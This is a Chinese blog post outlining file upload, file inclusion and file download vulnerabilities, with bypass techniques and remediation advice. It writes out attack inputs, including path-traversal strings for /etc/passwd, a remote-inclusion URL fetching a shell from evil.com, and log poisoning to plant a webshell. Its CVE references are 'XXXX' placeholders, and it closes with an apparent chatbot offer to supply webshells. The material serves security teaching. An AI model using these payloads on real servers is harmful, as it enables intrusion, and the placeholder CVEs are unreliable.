文件操作漏洞
文件操作漏洞(File Operation Vulnerabilities)
中心主题:文件操作漏洞
1. 概述
原理
- 服务器和客户端对上传文件的验证不全面
- 允许用户直接上传恶意文件(如 webshell),或通过连接/包含等方式执行
危害
- 直接获取 webshell → 服务器权限
- 读取敏感文件(配置文件、源码、数据库凭证)
- 远程代码执行(RCE)
- 数据泄露、后门植入、横向移动
2. 文件上传漏洞(最常见类型)
2.1 客户端验证绕过
- 前端 JS 校验扩展名、大小、类型 → 可直接改包绕过
- 修改 Content-Type 为 image/jpeg 等伪装
2.2 服务端验证绕过
常见黑名单绕过
- 后缀绕过:
.php→.php5.phtml.php..php;.jpg.php%00.jpg - 双后缀:
shell.php.jpgshell.php;.jpg - 大小写绕过:
.pHp.PhP - 特殊字符:
shell.php.shell.php%20shell.php::$DATA(Windows NTFS 特性)
白名单绕过
%00截断(早期 PHP < 5.3.4 有效).htaccess上传恶意解析规则AddType application/x-httpd-php .jpg
Apache 解析顺序漏洞(多后缀时从右往左解析)
MIME 类型绕过
- Content-Type: image/jpeg → 实际内容为 PHP 代码
其他绕过技巧
- Apache + mod_negotiation:
shell.php.jpg→ Apache 可能解析为.php - Nginx + PHP-FPM:文件名后缀无关,取决于 fastcgi_param SCRIPT_FILENAME
- Windows 短文件名:
progra~1、com1.php等
2.3 典型文件上传漏洞案例
- PHP < 5.3.4 的
%00截断 - Apache 2.4.x + 多后缀解析顺序
- Nginx 配置不当(PATH_INFO 导致任意文件解析)
- CMS 上传插件漏洞(dedecms、wordpress、phpmyadmin 等)
3. 文件包含漏洞(LFI / RFI)
3.1 本地文件包含(LFI)
- include/require/include_once/require_once
- 常见参数:
?page=../../etc/passwd?file=../../../../windows/win.ini - 配合日志投毒:User-Agent 写入 webshell → 包含 access.log
3.2 远程文件包含(RFI)
- allow_url_include = On(极少开启)
?page=http://evil.com/shell.txt
3.3 常见路径遍历绕过
../....//....\\./../%2e%2e%2f- URL 编码多次:
%252e%252e%252f - 绝对路径:
/var/www/html/shell.php
4. 文件下载漏洞
- 任意文件下载:
?file=../../../../etc/passwd - 未授权下载源码、配置文件、数据库备份
- 路径穿越 + 后缀黑名单绕过
5. 检测与利用思路
5.1 上传成功判断
- 改名后缀为图片 → 上传 → 访问是否解析为 PHP
- 改 Content-Type → 上传 → 检查响应
- 上传
<?php phpinfo(); ?>→ 访问看是否执行 - 上传
.htaccess+ 图片马 → 测试解析
5.2 后缀爆破列表(常见可解析后缀)
- php php3 php4 php5 phtml phar inc
- jsp jspx asp aspx cer cdx
- cgi pl py
5.3 上传路径猜测
- /upload/ /uploads/ /files/ /images/ /attachment/
- /upfiles/ /file/ /tmp/ /data/
6. 修复建议
服务端修复
- 白名单校验文件扩展名(而非黑名单)
- 重命名上传文件(随机文件名 + 固定后缀)
- 禁止执行权限:上传目录设置
php_flag engine off或Options -ExecCGI - MIME 类型二次校验(使用 getimagesize / finfo)
- 限制上传大小 & 禁止 .htaccess 上传
- 关闭危险函数:
allow_url_include=Offallow_url_fopen谨慎开启
配置层面
- Apache:
php_admin_flag engine off在上传目录 - Nginx:
location ~* \.(php|php5|phtml)$ { deny all; }在上传目录 - 上传目录与 Web 根目录分离
7. 典型 CVE / 案例参考
- CVE-2015-XXXX:各种 CMS 上传绕过
- CVE-2018-XXXX:phpMyAdmin 文件上传
- CVE-2019-XXXX:ThinkPHP / Laravel 等框架上传
- 图片马 + .htaccess 组合拳
- Nginx + PHP-FPM 路径解析漏洞
一句话总结防御:
“上传目录绝不解析 PHP + 文件名不可控 + 白名单校验 + MIME 验证” 是最稳组合。
如需补充:
- 具体 webshell 一句话木马
- 图片马制作方法
- 常见 CMS 上传点位置
- 最新绕过技巧(2024-2025)
随时告诉我,我继续扩展!
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Tubby Little Hero!






